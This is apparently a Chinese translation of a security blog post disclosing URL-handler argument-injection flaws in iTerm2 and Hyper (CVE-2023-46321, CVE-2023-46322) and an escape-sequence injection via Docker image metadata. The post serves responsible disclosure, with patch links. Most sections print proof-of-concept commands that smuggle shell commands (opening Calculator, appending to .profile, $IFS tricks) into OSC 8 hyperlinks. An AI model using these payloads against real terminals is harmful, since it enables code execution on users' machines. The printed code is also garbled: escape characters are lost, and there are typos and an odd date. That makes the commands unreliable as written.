什么是转义序列
现代终端是非常强大的工具,对各种转义序列具有相当广泛的支持。这些转义序列经过终端仿真器的特殊处理,以生成颜色、光标样式、剪贴板访问,甚至*眨眼*超链接!
一些常用转义序列的示例:
将终端窗口的标题更改为new-title
:
$ echo -e "e]2;new-titlea"
听起来耳熟:
$ echo -e "a"
终端中的超链接
如今,大多数终端模拟器Osc 8
都允许使用直接从任意文本生成超链接。
通常它看起来像下面这样:
echo -e '�33]8;;http://example.com�33\This is a link�33]8;;�33\n'
它就像 HTMl<a>
元素一样,就在我们的终端中。
任意 url 方案
随着时间的推移,浏览器一直在改进(?),现在如果链接使用非标准 url 方案(如 、 等),现在大多数会显示一个弹出窗口以打开外部ssh://
程序。ftp://
x-man-page://
单击呈现的 HTML 页面中的链接后的弹出窗口ssh://
如下所示:
然而,在大多数终端仿真器中,链接是直接在注册来处理该 url 方案的程序(即ssh://
url 的 SSH 客户端)中打开的。
终端模拟器作为 url 方案处理程序
默认的 MacOS 终端在 OS X 上注册了各种 url 方案处理程序。任何使用这些方案的链接在被点击时都会打开 MacOS 终端来执行相应的操作。
例如telnet
, x-man-page
, ssh
,whois
您可以使用以下命令查看有关在 OS X 系统上注册的 url 方案的信息:
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B3 bindings:.*:
iTerm2也允许选择各种 URL 方案由其自行处理。我将要分享的漏洞影响了 iTerm2 对两种 URL 方案的处理以及 Vercel 的 Hyper 对一种 URL 方案的处理。
漏洞#1
iTerm2 对 url 方案的处理x-man-page://
很容易通过参数注入执行代码。
概念验证:
'x-man-page://foo -P"open -aCalculator"'
OSC 8 版本可从终端本身生成漏洞利用链接,单击该链接会弹出一个计算器:
echo -e 'e]8;;x-man-page://foo%00-P%22open%20-aCalculator%22e\This is a linke]8;;e\'
补丁:https://gitlab.com/gnachman/iterm2/-/commit/de3d351
CVE-2023-46321
漏洞 #2
iTerm2 对 url 方案的处理ssh://
容易受到参数注入的影响,从而允许任意文件写入。
概念验证:
echo -e 'e]8;;ssh://-E.profile/`launch-calc`eThis is a linke]8;;e'
这会将以下内容附加到受害者的.profile
:
ssh: Could not resolve hostname cd /`launch-calc`; exec $shell -l: nodename nor servname provided, or not known^M
一旦获取,它将执行该lunch-calc
命令,从而允许稍微延迟的有限代码执行。注入更复杂的有效负载也是可能的,而不仅仅是单个命令。除了滥用 SSH 标志(例如-F
提供配置文件)之外,攻击者还可以滥用目标设备上现有的本地文件来实现相同目的。
补丁:https://gitlab.com/gnachman/iterm2/-/commit/ef7bb84
CVE-2023-46322,补丁已在3.5.0版本发布
漏洞 #3
Hyperssh://
在安装后会将自身注册为URL 方案的处理程序。幸运的是,此功能已损坏3.4.1
,但自 2010 年起在 Canary 版本中仍可正常运行4.0.0-canary4
。
lulz 的失败 PoC:
echo -e 'e]8;;ssh://example.com&open%20-aCalculator/eThis is a linke]8;;e'
但当然,由于 url 编码,这不起作用,我们遇到:
bash: open%20-aCalculator: command not found
(当然相同,ssh://example.com&open -aCalculator/
因为空间会自动转换为 url 编码版本)
IFS
为了救援!
成功的概念验证:
echo -e 'e]8;;ssh://example.com&open$IFS-aCalculator/eThis is a linke]8;;e'
补丁:https://github.com/vercel/hyper/pull/7615
奖金漏洞,bad moby!
还有什么比 Docker 更好的工具可以将包含转义序列(以及超链接)的任意文本注入到我们的终端模拟器中呢?
我仅使用 Dockerfile 中的一条指令创建了一个简单的 docker 镜像FROM alpine:laest
,将其导出到 tar,修改 json 元数据以包含以下architecture
值来创建新镜像:
{"architecture":") not found ..nnu001B]8;;https://example.comu0007Please click this link to install latest docker client.u001B]8;;u0007nn", ...
这当然是一个无害的 PoC,您可以使用docker pull vin01/escape-seq-test:latest --platform darwin/arm64
或进行尝试docker run --rm vin01/escape-seq-test
,您应该会看到注入的链接,如下所示。
该漏洞已于去年 8 月向 Docker 披露,但仍未修复,并且与终端仿真器中的其他漏洞结合,可能被利用为易于滥用的附加载体。
其他弱点
我还在 iTerm2 中遇到了其他一些问题,这些问题都得到了及时处理并很快修复。
- RemoteHost 转义序列
- 窗口标题缓冲区溢出
更多关于武器化逃逸序列的研究
感谢STÖK将纯文本 ANSI 转义序列武器化,使其成为取证噩梦
披露与致谢
- 感谢 Vercel 团队根据负责任的披露计划和赠品处理了这件事。
- 感谢 George Nachman 维护 iTerm2 并处理漏洞报告。
在 Linux 和 Windows 终端上探索类似的攻击媒介也许也是有价值的。
Abusing url handling in iTerm2 and Hyper for code execution
https://vin01.github.io/piptagole/escape-sequences/iterm2/hyper/url-handlers/code-execution/2024/05/21/arbitrary-url-schemes-terminal-emulators.html
原文始发于微信公众号(Ots安全):在 iTerm2 和 Hyper 中滥用 url 处理来执行代码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论